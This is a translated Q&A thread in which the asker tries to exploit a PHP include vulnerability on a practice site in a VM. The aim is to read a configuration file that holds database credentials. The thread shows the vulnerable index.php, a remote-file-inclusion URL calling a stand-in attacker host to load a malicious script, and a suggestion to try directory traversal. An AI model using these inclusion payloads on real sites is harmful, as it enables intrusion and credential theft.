【发布时间】:2014-01-10 15:37:48
【问题描述】:
我正在尝试利用在 VM 内运行的示例网站中的一些 Web 漏洞(它在 Web 上不可用 - 仅用于教育目的)。我有一个名为setupreset.php 的php 文件,其中包含有关用于设置网站的MySQL 配置、设置和密码的信息。这与其他 php 文件(索引、产品、论坛等)位于同一目录中。
这是index.php的代码,供参考:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
主要目标是列出setupreset PHP 文件的内容,或者以某种方式下载它。如果我导航到这个文件:http://10.211.55.5/index.php?page=setupreset,它会被执行,但 PHP 代码自然不会显示,因为它是由 PHP 解释器解析的。
现在,该网站使用 PHP includes,所以 URL 看起来像这样:http://10.211.55.5/index.php?page=products。这似乎很容易受到远程文件包含的影响,我可以简单地指向另一个 PHP 页面,例如http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php 但 allow_url_include 是 off 并且无法更改,所以这不起作用(我试过这个)。但是,allow_url_fopen 很可能开启(因为它默认开启),所以我的问题如下:是否可以使用这种漏洞上传列出setupreset.php 内容的 PHP 文件或脚本?
【问题讨论】:
-
浏览器不解析。它由 PHP 解释器解析。浏览器只显示它。您是否尝试过目录遍历?这可能行得通……
-
我的错,@nietonfir,我就是这个意思。
-
不确定是不是错字,但不应该是
$_GET["page"]吗? -
浏览器不解析。它由 PHP 解释器解析。 T̶h̶e̶̶b̶r̶o̶w̶s̶e̶r̶o̶n̶l̶y̶̶d̶i̶s̶p̶l̶a̶y̶s̶̶i̶t̶